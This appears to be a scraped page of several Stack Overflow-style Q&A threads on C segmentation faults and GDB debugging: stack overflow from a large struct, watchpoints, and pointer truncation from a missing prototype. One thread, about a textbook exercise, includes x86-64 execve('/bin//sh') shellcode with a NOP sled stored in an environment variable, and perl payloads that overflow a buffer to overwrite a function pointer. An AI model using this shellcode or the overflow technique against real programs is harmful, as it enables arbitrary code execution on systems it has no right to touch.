Segmentation Fault: C-Program migrating from HPUX to Linux - c

I'm trying to migrate a small c program from hpux to linux. The project compiles fine but crashes at runtime showing me a segmentation fault. I've already tried to see behind the mirror using strace and gdb but still don't understand. The relevant (truncated) parts:
tts_send_2.c
Contains a method
int sequenznummernabgleich(int sockfd, char *snd_id, char *rec_id, int timeout_quit) {
TS_TEL_TAB tel_tab_S01;
int n;
# truncated
}
which is called from within that file like this:
. . .
. . .
switch(sequenznummernabgleich(sockfd,c_snd_id,c_rec_id,c_timeout_quit)) {
/* kritischer Fehler */
case -1:
. . .
. . .
when calling that method I'm presented a segmentation fault (gdb output):
Program received signal SIGSEGV, Segmentation fault.
0x0000000000403226 in sequenznummernabgleich (sockfd=<error reading variable: Cannot access memory at address 0x7fffff62f94c>,
snd_id=<error reading variable: Cannot access memory at address 0x7fffff62f940>, rec_id=<error reading variable: Cannot access memory at address 0x7fffff62f938>,
timeout_quit=<error reading variable: Cannot access memory at address 0x7fffff62f934>) at tts_snd_2.c:498
498 int sequenznummernabgleich(int sockfd, char *snd_id, char *rec_id, int timeout_quit) {
which I just don't understand. When I'm stepping to the line where the method is called using gdb, all the variables are looking fine:
1008 switch(sequenznummernabgleich(sockfd,c_snd_id,c_rec_id,c_timeout_quit)) {
(gdb) p sockfd
$9 = 8
(gdb) p &sockfd
$10 = (int *) 0x611024 <sockfd>
(gdb) p c_snd_id
$11 = "KR", '\000' <repeats 253 times>
(gdb) p &c_snd_id
$12 = (char (*)[256]) 0xfde220 <c_snd_id>
(gdb) p c_rec_id
$13 = "CO", '\000' <repeats 253 times>
(gdb) p &c_rec_id
$14 = (char (*)[256]) 0xfde560 <c_rec_id>
(gdb) p c_timeout_quit
$15 = 20
(gdb) p &c_timeout_quit
$16 = (int *) 0xfde660 <c_timeout_quit>
I've also created an strace output. Here's the last part concerning the code shown above:
strace output
Any ideas ? I've searched the web and of course stackoverflow for hours without finding a really similar case.
Thanks
Kriz

I haven't used an HP/UX in eons but do hazily remember enough for the following suggestions:
Make sure you're initializing variables / struts correctly. Use calloc instead of malloc.
Also don't assume a specific bit pattern order: eg low byte then high byte. Ska endian-ness of the machine. There are usually macros in the compiler that will handle the appropriate ordering for you.

Update 15.10.16
After debugging for even more hours I found the real Problem. On the first line of the Method "sequenznummernabgleich" is a declaration of a struct
TS_TEL_TAB tel_tab_S01;
This is defined as following:
typedef struct {
TS_BOF_REC bof;
TS_REM_REC rem;
TS_EOF_REC eof;
int bof_len;
int rem_len;
int eof_len;
int cnt;
char teltyp[LEN_TELTYP+1];
TS_TEL_ENTRY entries[MAX_TEL];
} TS_TEL_TAB;
and it's embedded struct TS_TEL_ENTRY
typedef struct {
int len;
char tel[MAX_TEL_LEN];
} TS_TEL_ENTRY;
The problem is that the value for MAX_TEL_LEN had been changed from 512 to 1024 and thus the struct almost doubled in size what lead to that the STACK SIZE was not big enough anymore.
SOLUTION
Simply set the stack size from 8Mb to 64Mb. This can be achieved using ulimit command (under linux).
List current stack size: ulimit -s
Set stack size to 64Mb: ulimit -s 65535
Note: Values for stack size are in kB.
For a good short ref on ulimit command have a look # ss64

Related

Why 2 byte are missing when trying to overwrite a pointer to function using the address of a environement variable

I'm on an architecture 64bits.
I'm trying to exploit an buffer overflow using a SHELLCODE inside a environnement variable.
export SHELLCODE=$(perl -e 'print "\x90"x200 . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"')
I'm getting the variable's environment address using getenv()
printf("%s is at %p\n", argv[1], getenv(argv[1]));
which give me
0x7fffffffe2c5
This is my code in C
struct user
{
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
void function()
{
printf("inside function\n");
}
void function_2()
{
printf("inside function2\n");
}
void input_name()
{
char *name_ptr, input_char='\n';
player.current_game = &function;
while(input_char == '\n')
scanf("%c", &input_char);
name_ptr = (char *) &(player.name);
while(input_char != '\n')
{
*name_ptr = input_char;
scanf("%c", &input_char);
name_ptr++;
}
*name_ptr = 0;
player.current_game();
}
I find out the byte difference between name[100] and (*current_game)() usign GDB.
(gdb) print player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0x0}
(gdb) print &player.name
$2 = (char (*)[100]) 0x6030ec <player+12>
(gdb) print &player.current_game
$3 = (int (**)()) 0x603150 <player+112>
(gdb) print (0x603150 - 0x6030ec)
$5 = 100
And the byte difference is 100.
The problem now that it's work when I'm trying to overwrite (*current_game)() with an "internal" function's address but not with an address of an environment's variable. Function_2() for example.
nm ./a.out
000000000040110e T function_2()
So I overwrite (*current_game) by this way
perl -e 'print "A" x 100. "\x0e\x11\40"' | ./a.out
Output:
inside function2
So it work. However it doesn't work when I'm trying to overwrite using an environment's variable.
As I show you above. My env variable is store at
0x7fffffffe2c5
So when I overwrite by this way
perl -e 'print "A" x 100. "\xc5\xe2\xff\xff\xff\x7f"' | ./a.out
Which doesn't work, When I display of *(current_game)() the value of gdb.
0xffffe2c5
Why 2 byte is missing ? (\xff\x7f)
Why does it work for a "internal" function but not with a env variable ?
How can I write the entire address (0x7fffffffe2c5 instead of 0xffffe2c5)
Of course, How can I fix the problem.
Thanks.
NOTE: The example I mentioned here is a code snipet from the book "The Art Of Exploitation 2nd" written by Jon Erickson. However I modified a little bit the code because the original one is very very huge. It will avoid you to read to much code. My original post is enough long lol.

segmentation fault invalid memory 0x0

I have an issue with my pointer to a structure variable. I just started using GDB to debug the issue. The application stops when it hits on the line of code below due to segmentation fault. ptr_var is a pointer to a structure
ptr_var->page = 0;
I discovered that ptr_var is set to an invalid memory 0x0 after a series of function calls which caused the segmentation fault when assigning the value "0" to struct member "page". The series of function calls does not have a reference to ptr_var. The old address that used to be assigned to ptr_var is still in memory. I can still still print the values of members from the struct ptr_var using the old address. GDB session below shows that I am printing a string member of the struct ptr_var using its address
(gdb) x /s *0x7e11c0
0x7e0810: "Sample String"
I couldn't tell when the variable ptr_var gets assigned an invalid address 0x0. I'm a newbie to GDB and an average C programmer. Your assistance in this matter is greatly appreciated. Thank you.
What you want to do is set a watchpoint, GDB will then stop execution every time a member of a struct is modified.
With the following example code
typedef struct {
int val;
} Foo;
int main(void) {
Foo foo;
foo.val = 5;
foo.val = 10;
}
Drop a breakpoint at the creation of the struct and execute watch -l foo.val Then every time that member is changed you will get a break. The following is my GDB session, with my input
(gdb) break test.c:8
Breakpoint 3 at 0x4006f9: file test.c, line 8.
(gdb) run
Starting program: /usr/home/sean/a.out
Breakpoint 3, main () at test.c:9
9 foo.val = 5;
(gdb) watch -l foo.val
Hardware watchpoint 4: -location foo.val
(gdb) cont
Continuing.
Hardware watchpoint 4: -location foo.val
Old value = 0
New value = 5
main () at test.c:10
(gdb) cont
Continuing.
Hardware watchpoint 4: -location foo.val
Old value = 5
New value = 10
main () at test.c:11
(gdb) cont
If you can rerun, then break at a point where ptr_var is correct you can set a watch point on ptr_var like this: (gdb) watch ptr_var. Now when you continue every time ptr_var is modified gdb should stop.
Here's an example. This does contain undefined behaviour, as I'm trying to reproduce a bug, but hopefully it should be good enough to show you what I'm suggesting:
#include <stdio.h>
#include <stdint.h>
int target1;
int target2;
void
bad_func (int **bar)
{
/* Set contents of bar. */
uintptr_t ptr = (uintptr_t) bar;
printf ("Should clear %p\n", (void *) ptr);
ptr += sizeof (int *);
printf ("Will clear %p\n", (void *) ptr);
/* Bad! We just corrupted foo (maybe). */
*((int **) ptr) = NULL;
}
int
main ()
{
int *foo = &target1;
int *bar = &target2;
printf ("&foo = %p\n", (void *) &foo);
printf ("&boo = %p\n", (void *) &bar);
bad_func (&bar);
return *foo;
}
And here's a gdb session:
(gdb) break bad_func
Breakpoint 1 at 0x400542: file watch.c, line 11.
(gdb) r
&foo = 0x7fffffffdb88
&boo = 0x7fffffffdb80
Breakpoint 1, bad_func (bar=0x7fffffffdb80) at watch.c:11
11 uintptr_t ptr = (uintptr_t) bar;
(gdb) up
#1 0x00000000004005d9 in main () at watch.c:27
27 bad_func (&bar);
(gdb) watch foo
Hardware watchpoint 2: foo
(gdb) c
Continuing.
Should clear 0x7fffffffdb80
Will clear 0x7fffffffdb88
Hardware watchpoint 2: foo
Old value = (int *) 0x60103c <target1>
New value = (int *) 0x0
bad_func (bar=0x7fffffffdb80) at watch.c:18
18 }
(gdb)
For some reason the watchpoint appears to trigger on the line after the change was made, even though I compiled this with -O0, which is a bit of a shame. Still, it's usually close enough to help identify the problem.
For such kind of problems I often use the old electric fence library, it can be used to find bug in "software that overruns the boundaries of a malloc() memory allocation". You will find all the instructions and basic usage at this page:
http://elinux.org/Electric_Fence
(At the very end of the page linked above you will find the download link)

why is 0x0 pointing to valid data

While debugging a crash using GDB, I found the program crashes in ASSERT(). The odd thing is that the pointer contains 0x0 which points to valid data.
Sample code:
#define MAX_NUM 10;
...
...
assert(x->y != NULL);
assert(x->y->z < MAX_NUM); <-- Crashes here
I can see that 'x' points to a valid address. When I do:
(gdb) print x
$16 = 0x841eda3
(gdb) print x->y
$17 = 0x0
(gdb) print *x->y
$18 = {
...
...
z = 1;
...
}
How is this possible? Shouldn't I get "Cannot access memory at address 0x0" error from GDB?
What version of GDB?
Core dumps don't always tell the truth. They can be messed up in many ways. I've had core dumps that look valid and are not. I think you simply got lucky that it looks right.

Strange stack overflow?

I'm running into a strange situation with passing a pointer to a structure with a very large array defined in the struct{} definition, a float array around 34MB in size. In a nutshell, the psuedo-code looks like this:
typedef config_t{
...
float values[64000][64];
} CONFIG;
int32_t Create_Structures(CONFIG **the_config)
{
CONFIG *local_config;
int32_t number_nodes;
number_nodes = Find_Nodes();
local_config = (CONFIG *)calloc(number_nodes,sizeof(CONFIG));
*the_config = local_config;
return(number_nodes);
}
int32_t Read_Config_File(CONFIG *the_config)
{
/* do init work here */
return(SUCCESS);
}
main()
{
CONFIG *the_config;
int32_t number_nodes,rc;
number_nodes = Create_Structures(&the_config);
rc = Read_Config_File(the_config);
...
exit(0);
}
The code compiles fine, but when I try to run it, I'll get a SIGSEGV at the { beneath Read_Config_File().
(gdb) run
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000407d0a in Read_Config_File (the_config=Cannot access memory at address 0x7ffffdf45428
) at ../src/config_parsing.c:763
763 {
(gdb) bt
#0 0x0000000000407d0a in Read_Config_File (the_config=Cannot access memory at address 0x7ffffdf45428
) at ../src/config_parsing.c:763
#1 0x00000000004068d2 in main (argc=1, argv=0x7fffffffe448) at ../src/main.c:148
I've done this sort of thing all the time, with smaller arrays. And strangely, 0x7fffffffe448 - 0x7ffffdf45428 = 0x20B8EF8, or about the 34MB of my float array.
Valgrind will give me similar output:
==10894== Warning: client switching stacks? SP change: 0x7ff000290 --> 0x7fcf47398
==10894== to suppress, use: --max-stackframe=34311928 or greater
==10894== Invalid write of size 8
==10894== at 0x407D0A: Read_Config_File (config_parsing.c:763)
==10894== by 0x4068D1: main (main.c:148)
==10894== Address 0x7fcf47398 is on thread 1's stack
The error messages all point to me clobbering the stack pointer, but a) I've never run across one that crashes on entry of the function and b) I'm passing pointers around, not the actual array.
Can someone help me out with this? I'm on a 64-bit CentOS box running kernel 2.6.18 and gcc 4.1.2
Thanks!
Matt
You've blown up the stack by allocating one of these huge config_t structs onto it. The two stack pointers on evidence in the gdb output, 0x7fffffffe448 and 0x7ffffdf45428, are very suggestive of this.
$ gdb
GNU gdb 6.3.50-20050815 ...blahblahblah...
(gdb) p 0x7fffffffe448 - 0x7ffffdf45428
$1 = 34312224
There's your ~34MB constant that matches the size of the config_t struct. Systems don't give you that much stack space by default, so either move the object off the stack or increase your stack space.
The short answer is that there must be a config_t declared as a local variable somewhere, which would put it on the stack. Probably a typo: missing * after a CONFIG declaration somewhere.

pointer return value changes after function call

Code snippets from two C source files:
A.c
Channel *testChannelGet()
{
Channel *ch = channelGet (parser,parserCh);
return ch;
}
B.c
Channel *channelGet(UINT8 parser, UINT16 parserCh)
{
chnl.player = &solPlayer;
return((Channel *)&chnl);
}
I compile both files and create a static and a shared library. Now I call testChannelGet from a sample program. When I link it against the static library, it works perfectly. But if I link it against the shared library, its SEGFAULTing. Debugging tells me that the pointer returned from channelGet is changing the moment it returns. GDB output below.
174 Channel *ch = channelGet (parser,parserCh);
(gdb) s
channelGet (parser=1 '\001', parserCh=1) at B.c:15174
15174 chnl.player = &solPlayer;
(gdb) n
15175 return((Channel *)&chnl);
(gdb) p ((Channel *)&chnl)
$1 = (Channel *) 0x7ffff7fed1a0
(gdb) n
15176 }
(gdb) n
testChannelGet at A.c:175
175 return ch;
(gdb) p ch
$2 = (Channel *) 0xfffffffff7fed1a0
It seems the address value points to a different offset now - 0xfffffffff7fed1a0 vs 0x7ffff7fed1a0 . The last bytes in both addresses are the same.
Any hints? I have tried the -fPIC option to no avail.
Is there a prototype in scope for channelGet() in A.c?
If not, the results you're seeing could be explained as follows:
channelGet() is assumed to return int (due to lack of prototype), so the result is truncated to 0xf7fed1a0
then it is cast to a 64-bit pointer, so gets sign-extended to 0xfffffffff7fed1a0
(You should get complaints about this if you compile with warnings enabled, of course...)
Run your program under valgrind. Find and fix any errors it reports.

Resources